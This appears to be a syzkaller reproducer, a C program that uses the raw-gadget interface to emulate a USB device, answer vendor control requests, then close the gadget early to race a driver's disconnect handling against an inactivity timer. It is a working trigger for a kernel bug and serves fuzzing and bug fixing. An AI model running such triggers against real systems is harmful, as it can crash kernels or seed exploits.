// https://syzkaller.appspot.com/bug?id=59c4227798ee46be3f54b751679f102308ab638e #include #include #include #include #include #include #include #include #include #include #include #define UDC_NAME_LENGTH_MAX 128 struct usb_raw_init { __u8 driver_name[UDC_NAME_LENGTH_MAX]; __u8 device_name[UDC_NAME_LENGTH_MAX]; __u8 speed; }; struct usb_raw_event { __u32 type; __u32 length; __u8 data[]; }; struct usb_raw_ep_io { __u16 ep; __u16 flags; __u32 length; __u8 data[]; }; #define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init) #define USB_RAW_IOCTL_RUN _IO('U', 1) #define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event) #define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io) #define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io) #define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor) #define USB_RAW_IOCTL_EP0_STALL _IO('U', 12) enum usb_raw_event_type { USB_RAW_EVENT_INVALID = 0, USB_RAW_EVENT_CONNECT = 1, USB_RAW_EVENT_CONTROL = 2, USB_RAW_EVENT_SUSPEND = 3, USB_RAW_EVENT_RESUME = 4, USB_RAW_EVENT_RESET = 5, USB_RAW_EVENT_DISCONNECT = 6, }; #ifndef USB_CONFIG_ATT_ONE #define USB_CONFIG_ATT_ONE (1 << 7) #endif #ifndef USB_CONFIG_ATT_SELFPOWER #define USB_CONFIG_ATT_SELFPOWER (1 << 6) #endif int fd; struct usb_device_descriptor dev_desc = { .bLength = sizeof(dev_desc), .bDescriptorType = USB_DT_DEVICE, .bDeviceClass = 0, .bDeviceSubClass = 0, .bDeviceProtocol = 0, .bMaxPacketSize0 = 64, .iManufacturer = 0, .iProduct = 0, .iSerialNumber = 0, .bNumConfigurations = 1, }; struct { struct usb_config_descriptor config; struct usb_interface_descriptor intf; struct usb_endpoint_descriptor ep1; struct usb_endpoint_descriptor ep2; struct usb_endpoint_descriptor ep3; struct usb_endpoint_descriptor ep4; } __attribute__((packed)) conf_desc = { .config = { .bLength = sizeof(conf_desc.config), .bDescriptorType = USB_DT_CONFIG, .bNumInterfaces = 1, .bConfigurationValue = 1, .iConfiguration = 0, .bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER, .bMaxPower = 50, }, .intf = { .bLength = sizeof(conf_desc.intf), .bDescriptorType = USB_DT_INTERFACE, .bInterfaceNumber = 0, .bAlternateSetting = 0, .bNumEndpoints = 4, .bInterfaceClass = 0xff, .bInterfaceSubClass = 0xff, .bInterfaceProtocol = 0xff, .iInterface = 0, }, .ep1 = { .bLength = sizeof(conf_desc.ep1), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x81, // IN .bmAttributes = USB_ENDPOINT_XFER_BULK, }, .ep2 = { .bLength = sizeof(conf_desc.ep2), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x02, // OUT .bmAttributes = USB_ENDPOINT_XFER_BULK, }, .ep3 = { .bLength = sizeof(conf_desc.ep3), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x83, // IN .bmAttributes = USB_ENDPOINT_XFER_BULK, }, .ep4 = { .bLength = sizeof(conf_desc.ep4), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x04, // OUT .bmAttributes = USB_ENDPOINT_XFER_BULK, } }; void *disconnect_thread(void *arg) { printf("[+] Disconnect thread started, waiting 800ms...\n"); usleep(800000); printf("[+] Closing raw-gadget fd to trigger disconnect...\n"); int res = close(fd); if (res < 0) { printf("[-] Failed to close fd: %s\n", strerror(errno)); exit(1); } printf("[+] fd closed successfully. Waiting for inactivity timer to fire...\n"); sleep(3); printf("[+] Exiting disconnect thread.\n"); exit(0); return NULL; } int main() { dev_desc.bcdUSB = htole16(0x0200); dev_desc.idVendor = htole16(0x0424); dev_desc.idProduct = htole16(0x012C); dev_desc.bcdDevice = htole16(0x0100); conf_desc.config.wTotalLength = htole16(sizeof(conf_desc)); conf_desc.ep1.wMaxPacketSize = htole16(512); conf_desc.ep2.wMaxPacketSize = htole16(512); conf_desc.ep3.wMaxPacketSize = htole16(512); conf_desc.ep4.wMaxPacketSize = htole16(512); fd = open("/dev/raw-gadget", O_RDWR); if (fd < 0) { printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno)); return 1; } printf("[+] open /dev/raw-gadget successful.\n"); struct usb_raw_init init; memset(&init, 0, sizeof(init)); init.speed = USB_SPEED_HIGH; strcpy((char *)init.driver_name, "dummy_udc"); strcpy((char *)init.device_name, "dummy_udc.0"); if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) { printf("[-] Failed to USB_RAW_IOCTL_INIT: %s\n", strerror(errno)); return 1; } printf("[+] USB_RAW_IOCTL_INIT successful.\n"); if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) { printf("[-] Failed to USB_RAW_IOCTL_RUN: %s\n", strerror(errno)); return 1; } printf("[+] USB_RAW_IOCTL_RUN successful.\n"); struct usb_raw_event *event = malloc(sizeof(*event) + 1024); if (!event) { printf("[-] Failed to malloc event\n"); return 1; } struct usb_raw_ep_io *io = malloc(sizeof(*io) + 4096); if (!io) { printf("[-] Failed to malloc io\n"); return 1; } int disconnect_spawned = 0; printf("[+] Starting event loop...\n"); while (1) { event->type = 0; event->length = 1024; if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event) < 0) { if (errno == ENODEV || errno == EBADF) break; continue; } if (event->type == USB_RAW_EVENT_CONTROL) { struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event->data; io->ep = 0; io->flags = 0; if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) { if ((req->wValue >> 8) == USB_DT_DEVICE) { io->length = sizeof(dev_desc); if (io->length > req->wLength) io->length = req->wLength; memcpy(io->data, &dev_desc, io->length); if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP0_WRITE (device desc): %s\n", strerror(errno)); } } else if ((req->wValue >> 8) == USB_DT_CONFIG) { io->length = sizeof(conf_desc); if (io->length > req->wLength) io->length = req->wLength; memcpy(io->data, &conf_desc, io->length); if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP0_WRITE (config desc): %s\n", strerror(errno)); } } else { if (ioctl(fd, USB_RAW_IOCTL_EP0_STALL, 0) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP0_STALL: %s\n", strerror(errno)); } } } else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) { // Enable endpoints for the configuration if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep1) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP_ENABLE ep1: %s\n", strerror(errno)); } if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep2) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP_ENABLE ep2: %s\n", strerror(errno)); } if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep3) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP_ENABLE ep3: %s\n", strerror(errno)); } if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep4) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP_ENABLE ep4: %s\n", strerror(errno)); } // Acknowledge 0-length OUT request with EP0_READ io->length = 0; if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, io) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP0_READ (set config): %s\n", strerror(errno)); } } else if (req->bRequestType == (USB_DIR_IN | USB_TYPE_VENDOR | USB_RECIP_DEVICE)) { if (req->bRequest == 1) { // GET_HC_INF0 io->length = 4; memset(io->data, 0, 4); if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP0_WRITE (GET_HC_INF0): %s\n", strerror(errno)); } } else if (req->bRequest == 0) { // GET_SYSTEM_PORT_STATUS io->length = 15; memset(io->data, 0, 15); // port_flags = 0 (card not present) ensures no MMC commands are sent, // making the disconnect handler extremely fast. if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP0_WRITE (GET_SYSTEM_PORT_STATUS): %s\n", strerror(errno)); } if (!disconnect_spawned) { disconnect_spawned = 1; pthread_t th; int res = pthread_create(&th, NULL, disconnect_thread, NULL); if (res != 0) { printf("[-] Failed to pthread_create: %s\n", strerror(res)); exit(1); } printf("[+] pthread_create successful.\n"); } } else { if (ioctl(fd, USB_RAW_IOCTL_EP0_STALL, 0) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP0_STALL: %s\n", strerror(errno)); } } } else if (req->bRequestType == (USB_DIR_OUT | USB_TYPE_VENDOR | USB_RECIP_DEVICE)) { if (req->bRequest == 16) { // SET_ROM_WAIT_STATES io->length = req->wLength; if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, io) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP0_READ (SET_ROM_WAIT_STATES): %s\n", strerror(errno)); } } else { if (ioctl(fd, USB_RAW_IOCTL_EP0_STALL, 0) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP0_STALL: %s\n", strerror(errno)); } } } else { if (req->wLength == 0) { io->length = 0; if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, io) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP0_READ (0-length): %s\n", strerror(errno)); } } else if (req->bRequestType & USB_DIR_IN) { io->length = req->wLength; if (io->length > 4096) io->length = 4096; memset(io->data, 0, io->length); if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP0_WRITE (unhandled IN): %s\n", strerror(errno)); } } else { io->length = req->wLength; if (io->length > 4096) io->length = 4096; if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, io) < 0) { printf("[-] Failed to USB_RAW_IOCTL_EP0_READ (unhandled OUT): %s\n", strerror(errno)); } } } } } // Wait for disconnect thread to finish if we break out of the loop sleep(4); return 0; }